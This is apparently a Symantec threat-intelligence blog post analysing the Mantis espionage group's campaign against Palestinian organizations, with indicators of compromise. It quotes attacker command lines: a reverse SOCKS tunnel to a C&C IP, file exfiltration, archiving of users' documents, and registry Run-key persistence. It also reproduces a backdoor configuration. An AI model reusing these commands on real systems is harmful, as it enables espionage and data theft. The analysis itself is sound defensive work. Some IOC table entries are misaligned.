

POSTED: 4 APR, 2023 7 MIN READ [THREAT INTELLIGENCE \(/BLOGS/THREAT-INTELLIGENCE/\)](/BLOGS/THREAT-INTELLIGENCE/)

Mantis: New Tooling Used in Attacks Against Palestinian Targets

Espionage group puts time and effort into avoiding detection and maintaining persistent presence on compromised networks.

The Mantis cyber-espionage group (aka Arid Viper, Desert Falcon, APT-C-23), a threat actor believed to be operating out of the Palestinian territories, is continuing to mount attacks, deploying a refreshed toolset and going to great lengths to maintain a persistent presence on targeted networks.

While the group is known for targeting organizations in the Middle East, the most recent campaign uncovered by Symantec, by [Broadcom Software \(https://software.broadcom.com/\)](https://software.broadcom.com/), focused on organizations within the Palestinian territories, with malicious activity beginning in September 2022 and continuing to at least February 2023. This targeting is not unprecedented for Mantis and Symantec previously uncovered attacks against individuals located in the Palestinian territories during 2017.

Background

Mantis has been active since at least 2014, with some third-party reporting suggesting it may have been active as early as 2011. The group is known to target organizations in Israel and a number of other Middle Eastern countries. Sectors targeted include government, military, financial, media, education, energy, and think tanks. The group is known for employing spear-phishing emails and fake social media profiles to lure targets into installing malware on their devices.

Mantis is widely accepted to be linked to the Palestinian territories. While [other vendors have linked the group to Hamas \(https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials\)](https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials), Symantec cannot make a definitive attribution to any Palestinian organization.

In its most recent attacks, the group used updated versions of its custom Micropsia and Arid Gopher backdoors to compromise targets before engaging in extensive credential theft and exfiltration of stolen data.

Attack chain

The initial infection vector for this campaign remains unknown. In one organization targeted, a feature of the compromise was that the attackers deployed three distinct versions of the same toolset (i.e. different variants of the same tools) on three groups of computers. Compartmentalizing the attack in this fashion was likely a precautionary measure. If one toolset was discovered, the attackers would still have a persistent presence on the target's network.

The following is a description of how one of those three toolsets was used:

The first evidence of malicious activity occurred on December 18, 2022. Three distinct sets of obfuscated PowerShell commands were executed to load a Base64-encoded string, which started embedded

shellcode. The shellcode was a 32-bit stager that downloaded another stage using basic TCP-based protocol from a command-and-control (C&C) server: 104.194.222[.]50 port 4444.

The attackers returned on December 19 to dump credentials before downloading the Micropsia backdoor and Putty, [a publicly available SSH client \(https://www.putty.org/\)](https://www.putty.org/), using Certutil and BITSAdmin

Micropsia subsequently executed and initiated contact with a C&C server. On the same day, Micropsia also executed on three other machines in the same organization. In each case, it ran in a folder named after its file name:

- csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe
- csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe
- csidl_common_appdata\windowsps\windowsps.exe

On one computer, Micropsia was used to set up a reverse socks tunnel to an external IP address:

```
CSIDL_COMMON_APPDATA\windowsservicemanager\windowsservicemanager.exe -connect 104.194.222[.]50:443 [REDACTED]
```

On December 20, Micropsia was used to run an unknown executable named windowsservices.exe on one of the infected computers.

The following day, December 21, RAR was executed to archive files on another infected computer.

Between December 22 and January 2, 2023, Micropsia was used to execute the Arid Gopher backdoor on three infected computers. Arid Gopher was in turn used to run a tool called SetRegRunKey.exe that provided persistence by adding Arid Gopher to the registry so that it executed on reboot. It also ran an unknown file named localecuritypolicy.exe (this file name was used for the Arid Gopher backdoor elsewhere by the attackers).

On December 28, Micropsia was used to run windowsservices.exe on three more infected computers.

On December 31, Arid Gopher executed two unknown files named networkswitcherdatamodel.exe and networkuefidiagnosticsbootserver.exe on two of the infected computers.

On January 2, the attackers retired the version of Arid Gopher they were using and introduced a new variant. Whether this was because the first version was discovered or whether it was standard operating procedure is unclear.

On January 4, Micropsia was used to execute two unknown files, both named hostupbroker.exe, on a single computer from the folder: csidl_common_appdata\hostupbroker\hostupbroker.exe. This was immediately followed by the exfiltration of a RAR file:

```
CSIDL_COMMON_APPDATA\windowsupserv\windowsupserv.exe -f  
CSIDL_COMMON_APPDATA\windowsservices\01-04-2023-15-13-39_getf.rar
```

On January 9, Arid Gopher was used to execute two unknown files on a single computer:

- csidl_common_appdata\teamviewrremoteservice\teamviewrremoteservice.exe
- csidl_common_appdata\embeddedmodeservice\embeddedmodeservice.exe

The last malicious activity occurred from January 12 onwards when Arid Gopher was used to execute the unknown file named `localsecuritypolicy.exe` every ten hours.

Micropsia

Variants of the Micropsia backdoor used in these attacks appear to be slightly updated versions of those seen by other vendors. In this campaign, Micropsia was deployed using multiple file names and file paths:

- `csidl_common_appdata\microsoft\dotnet35\microsoftdotnet35.exe`
- `csidl_common_appdata\microsoftservicesusermanual\systempropertiesinternationaltime.exe`
- `csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe`
- `csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe`
- `csidl_common_appdata\windowsps\windowsps.exe`

Micropsia is executed using WMI and its main purpose appears to be running secondary payloads for the attackers. These included:

- Arid Gopher (file names: `networkvirtualizationstartservice.exe`, `networkvirtualizationfiaservice.exe`, `networkvirtualizationseoservice.exe`)
- [Reverse SOCKs Tunneler \(https://github.com/kost/revsocks\)](https://github.com/kost/revsocks) (aka Revsocks) (file name: `windowsservicemangeav.exe`)
- Data Exfiltration Tool (file name: `windowsupserv.exe`)
- Two unknown files, both named `hostupbroker.exe`
- Unknown file named `windowspackages.exe`

In addition to this, Micropsia has its own functionality, such as taking screenshots, keylogging, and archiving certain file types using WinRAR in preparation for data exfiltration:

```
"%PROGRAMDATA%\Software Distributions\WinRAR\Rar.exe" a -r -ep1 -v2500k -
hp71012f4c6bdeeb73ae2e2196aa00bf59_d01247a1eaf1c24ffbc851e883e67f9b -ta2023-01-14
"%PROGRAMDATA%\Software Distributions\Bdl\LMth__C_2023-02-13 17-14-41" "%USERPROFILE%\*.xls"
"%USERPROFILE%\*.xlsx" "%USERPROFILE%\*.doc" "%USERPROFILE%\*.docx" "%USERPROFILE%\*.csv"
"%USERPROFILE%\*.pdf" "%USERPROFILE%\*.ppt" "%USERPROFILE%\*.pptx" "%USERPROFILE%\*.odt"
"%USERPROFILE%\*.mdb" "%USERPROFILE%\*.accdb" "%USERPROFILE%\*.accde"
"%USERPROFILE%\*.txt" "%USERPROFILE%\*.rtf" "%USERPROFILE%\*.vcf"
```

Arid Gopher

Unlike Micropsia, which is written in Delphi, Arid Gopher is written in Go. Versions of Arid Gopher used in this campaign contain the following embedded components:

- `7za.exe` – A copy of the legitimate 7-Zip executable
- `AttestationWmiProvider.exe` – A tool that sets a “run” registry value
- `ServiceHubIdentityHost.exe` – A copy of legitimate `Shortcut.exe` executable from Optimum X
- `Setup.env` – Configuration file

Arid Gopher was also used to launch the following unknown files: `networkswitcherdatamodel.exe`, `localsecuritypolicy.exe`, and `networkuefidiagsbootserver.exe`, in addition to being used to download and execute files obfuscated with PyArmor.

When communicating with a C&C server, Arid Gopher registers a device on one path then connects to a  path, likely to receive commands:

2024/1/17 10:59Mantis: New Tooling Used in Attacks Against Palestinian Targets | Symantec Enterprise Blogs

- Connects to: http://jumpstartmail[.]com/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 79.133.51[.]134) - likely to register device
- Followed by: http://jumpstartmail[.]com/IURTIER3BNV4ER/AJLUK9BI48/OL6W3CSBMC - likely to receive commands
- Connects to: http://salimafia[.]net/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 146.19.233[.]32) - likely to register device
- Followed by: http://salimafia[.]net/IURTIER3BNV4ER/AJLUK9BI48/OL6W3CSBMC - likely to receive commands

Arid Gopher appears to be regularly updated and rewritten by the attackers, most likely in order to evade detection. One variant of the malware was radically different from previous versions seen with most of the distinctive code updated, so much so that there was not a single subroutine that contained identical distinctive code when compared with the previous version. Mantis appeared to be aggressively mutating the logic between variants, which is a time-intensive operation if done manually.

Command	"c"
Description	Perhaps related to main.exC("cmd")
Command	"d"
Description	Perhaps related to main.down2
Command	"s"
Description	Perhaps related to main.OnDSH
Command	"ci"
Description	Perhaps related to main.deviceProperties
Command	"ps"
Description	Perhaps related to main.exC("powershell")
Command	"ra"
Description	Perhaps related to main.RunAWithoutW
Command	"sf"
Description	Perhaps related to main.updateSettings
Command	"sl"
Description	Perhaps related to main.searchForLogs
Command	"ua"
Description	Perhaps related to main.updateApp

Command	"ut"
Description	Perhaps related to main.updateT
Command	"pwnr"
Description	Perhaps related to main.exCWithoutW("powershell")
Command	"rapp"
Description	Perhaps related to main.restartApp
Command	"gelog"
Description	Perhaps related to main.upAppLogs
Command	"ufbtt"
Description	Perhaps related to main.collectFi
Command	"ufofd"
Description	Perhaps related to main.collectFiOrFol
Command	"bwp"
Description	Perhaps related to main.browDat
Command	"cbh"
Description	Perhaps related to main.delBD
Command	"cwr"
Description	Perhaps related to main.exCWithoutW("cmd")
Command	"gaf"
Description	Perhaps related to main.collectFi
Command	"ntf"
Description	Perhaps related to main.collectNet
Command	"smr"
Description	Perhaps related to main.updateSettings

Figure 1. Commands supported by latest variant of Arid Gopher backdoor

The embedded setup.env file used by one analyzed variant of Arid Gopher to retrieve configuration data contained the following:

```
DIR=WindowsPerceptionService

ENDPOINT=http://jumpstartmail[.]com/IURTIER3BNV4ER

LOGS=logs.txt

DID=code.txt

VER=6.1

EN=2

ST_METHOD=r

ST_MACHINE=false

ST_FLAGS=x

COMPRESSOR=7za.exe

DDIR=ResourcesFiles

BW_TOO_ID=7463b9da-7606-11ed-a1eb-0242ac120002

SERVER_TOKEN=PDqMKZ91I2XDmDELOrKB

STAPP=AttestationWmiProvider.exe

SHORT_APP=ServiceHubIdentityHost.exe
```

The setup.env configuration file mentions another file, AttestationWmiProvider.exe, which is also embedded in Arid Gopher. The file is a 32-bit executable that is used as a helper to ensure that another executable will run on reboot. When it executes, it checks for the following command-line arguments:

"key" with string parameter [RUN_VALUE_NAME]

"value" with string parameter [RUN_PATHNAME]

It then arranges to receive notification on a signal using `func os/signal.Notify()`. Once notified, it sets the following registry value:

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"[RUN_VALUE_NAME]" =
"[RUN_PATHNAME]"
```

Our investigation so far shows this file setting Arid Gopher to run on reboot:

```
CSIDL_COMMON_APPDATA\attestationwmiprovder\attestationwmiprovder.exe -
kr "networkVirtualizationStartService "-
```

```
value=CSIDL_COMMON_APPDATA\networkvirtualizationstartservice\networkvirtualizationstartservice.exe  
-x"
```

Exfiltration Tool

The attackers also used a custom tool to exfiltrate data stolen from targeted organizations: a 64-bit PyInstaller executable named WindowsUpServ.exe. When run, the tool checks for the following command-line arguments:

```
"-d" "[FILE_DIRECTORY]"
```

```
"-f" "[FILENAME]"
```

For each "-f" "[FILENAME]" command-line argument, the tool uploads the content of [FILENAME]. For each "-d" "[FILE_DIRECTORY]" command-line argument, the tool obtains a list of files stored in the folder [FILE_DIRECTORY] and uploads the content of each file.

When uploading each file, the tool sends an HTTP POST request to a C&C server with the following parameters:

```
"kjdfnqweb": [THE_FILE_CONTENT]
```

```
"qyiwekq": [HOSTNAME_OF_THE_AFFECTED_COMPUTER]
```

Whenever the remote server responds with the status code 200, the malware deletes the uploaded file from the local disk. The malware may also log some of its actions in the following files:

```
"C:\ProgramData\WindowsUpServ\success.txt"
```

```
"C:\ProgramData\WindowsUpServ\err.txt"
```

Determined Adversary


Mantis appears to be a determined adversary, willing to put time and effort into maximizing its chances of success, as evidenced by extensive malware rewriting and its decision to compartmentalize attacks against single organizations into multiple separate strands to reduce the chances of the entire operation being detected.

Protection/Mitigation

For the latest protection updates, please visit the [Symantec Protection Bulletin](https://www.broadcom.com/support/security-center/protection-bulletin) (<https://www.broadcom.com/support/security-center/protection-bulletin>).

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

 **SHA-256 hash**

Ofb4d09a29b9ca50bc98cb1f0d23bfc21cb1ab602050ce786c86bd2bb6050311

File name	networkvirtualizationservice.exe
Description	Arid Gopher
SHA256 hash	3d649b84df687da1429c2214d6f271cc9c026eb4a248254b9bfd438f4973e529
File name	networkvirtualizationpicservice.exe
Description	Arid Gopher
SHA256 hash	82f734f2b1ccc44a93b8f787f5c9b4eca09efd9e8dcd90c80ab355a496208fe4
File name	networkvirtualizationfiaservice.exe
Description	Arid Gopher
SHA256 hash	85b083b431c6dab2dd4d6484fe0749ab4acba50842591292fdb40e14ce19d097
File name	networkvirtualizationinithservice.exe
Description	Arid Gopher
SHA256 hash	cb765467dd9948aa0bfff18214ddec9e993a141a5fdd8750b451fd5b37b16341
File name	networkvirtualizationfiaservice.exe
Description	Arid Gopher
SHA256 hash	f2168eca27fbee69f0c683d07c2c5051c8f3214f8841c05d48897a1a9e2b31f8
File name	networkvirtualizationstartservice.exe
Description	Arid Gopher
SHA256 hash	21708cea44e38d0ef3c608b25933349d54c35e392f7c668c28f3cf253f6f9db8
File name	AttestationWmiProvider.exe
Description	Arid Gopher persistence component
SHA256 hash	58331695280fc94b3e7d31a52c6a567a4508dc7be6bdc200f23f5f1c72a3f724
File name	windowsupserv.exe
Description	Exfiltration tool
SHA256 hash	5af853164cc444f380a083ed528404495f30d2336ebe0f2d58970449688db39e
File name	windowsupserv.exe
Description	Exfiltration tool
SHA256 hash	0a6247759679c92e1d2d2907ce374e4d6112a79fe764a6254baff4d14ac55038

File name	Various
Description	Micropsia
SHA256 hash	1d1a0f39f339d1ddd506a3c5a69a9bc1e411e057fe9115352482a20b63f609aa
File name	N/A
Description	Micropsia
SHA256 hash	211f04160aa40c11637782973859f44fd623cb5e9f9c83df704cc21c4e18857d
File name	xboxaccessorymanagementservice.exe
Description	Micropsia
SHA256 hash	d10a2dda29dbf669a32e4198657216698f3e0e3832411e53bd59f067298a9798
File name	systempropertiesinternationaltime.exe
Description	Micropsia
SHA256 hash	5405ff84473abccc5526310903fcc4f7ad79a03af9f509b6bca61fdb8793ee4
File name	networkvirtualizationseoservice.exe
Description	Possible Arid Gopher
SHA256 hash	f38ad4aa79b1b448c4b70e65aecc58d3f3c7eea54feb46bdb5d10fb92d880203
File name	runme.exe
Description	Possible Meterpreter
SHA256 hash	c4b9ad35b92408fa85b92b110fe355b3b996782ceaafce7feca44977c037556b
File name	systempropertiesinternationaltime.exe
Description	Possible Micropsia
SHA256 hash	f98bc2ccac647b93f7f7654738ce52c13ab477bf0fa981a5bf5b712b97482dfb
File name	windowsservicemanageav.exe
Description	ReverseSocksTunnel
SHA256 hash	411086a626151dc511ab799106cfa95b1104f4010fe7aec50b9ca81d6a64d299
File name	N/A
Description	Shellcode
SHA256 hash	5ea6bdae7b867b994511d9c648090068a6f50cb768f90e62f79cd8745f53874d

File name	N/A
Description	Shellcode
SHA256 hash	6a0686323df1969e947c6537bb404074360f27b56901fa2bac97ae62c399e061
File name	N/A
Description	Shellcode
SHA256 hash	11b81288e5ed3541498a4f0fd20424ed1d9bd1e4fae5e6b8988df364e8c02c4e
File name	SystemPropertiesInternationalTime.rar
Description	Unknown file
SHA256 hash	1b62730d836ba612c3f56fa8c3b0b5a282379869d34e841f4dca41dce465ff6
File name	networkswitcherdatamodell.exe
Description	Unknown file
SHA256 hash	220eba0feb946272023c384c8609e9242e5692923f85f348b05d0ec354e7ac3c
File name	hostupbroker.exe
Description	Unknown file
SHA256 hash	4840214a7c4089c18b655bd8a19d38252af21d7dd048591f0af12954232b267f
File name	hostupbroker.exe
Description	Unknown file
SHA256 hash	4a25ca8c827e6d84079d61bd6eba563136837a0e9774fd73610f60b67dca6c02
File name	windowspackages.exe
Description	Unknown file
SHA256 hash	624705483de465ff358ffed8939231e402b0f024794cf3ded9c9fc771b7d3689
File name	_pytransform.dll
Description	Unknown file
SHA256 hash	7ae97402ec6d973f6fb0743b47a24254aaa94978806d968455d919ee979c6bb4
File name	embeddedmodeservice.exe
Description	Unknown file
SHA256 hash	8d1c7d1de4cb42aa5dee3c98c3ac637aebfb0d6220d406145e6dc459a4c741b2

File name	localsecuritypolicy.exe
Description	Unknown file
SHA256 hash	b6a71ca21bb5f400ff3346aa5c42ad2faea4ab3f067a4111fd9085d8472c53e3
File name	embeddedmodeservice.exe
Description	Unknown file
SHA256 hash	bb6fd3f9401ef3d0cc5195c7114764c20a6356c63790b0ced2baceb8b0bdac51
File name	localsecuritypolicy.exe
Description	Unknown file
SHA256 hash	bc9a4df856a8abde9e06c5d65d3bf34a4fba7b9907e32fb1c04d419cca4b4ff9
File name	networkuefidiagsbootserver.exe
Description	Unknown file
SHA256 hash	d420b123859f5d902cb51cce992083370bbd9deca8fa106322af1547d94ce842
File name	teamviewrrremoteservice.exe
Description	Unknown file
SHA256 hash	
File name	
Description	
SHA256 hash	jumpstartmail[.]com
File name	
Description	Arid Gopher C&C
SHA256 hash	paydayloansnew[.]com
File name	
Description	Arid Gopher C&C
SHA256 hash	picture-world[.]info
File name	
Description	Arid Gopher C&C
SHA256 hash	rnacgroup[.]com

File name	
Description	C&C
SHA256 hash	salimafia[.]net
File name	
Description	Arid Gopher C&C
SHA256 hash	seomoi[.]net
File name	
Description	Arid Gopher C&C
SHA256 hash	soft-utils[.]com
File name	
Description	C&C
SHA256 hash	chloe-boreman[.]com
File name	
Description	Micropsia C&C
SHA256 hash	criston-cole[.]com
File name	
Description	Micropsia C&C
SHA256 hash	http://5.182.39[.]44/esuzmwmrtajj/cmsnvbyawttf/mkxnhqwdywbu
File name	
Description	Exfiltration tool C&C



About the Author

Threat Hunter Team

Symantec



The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.

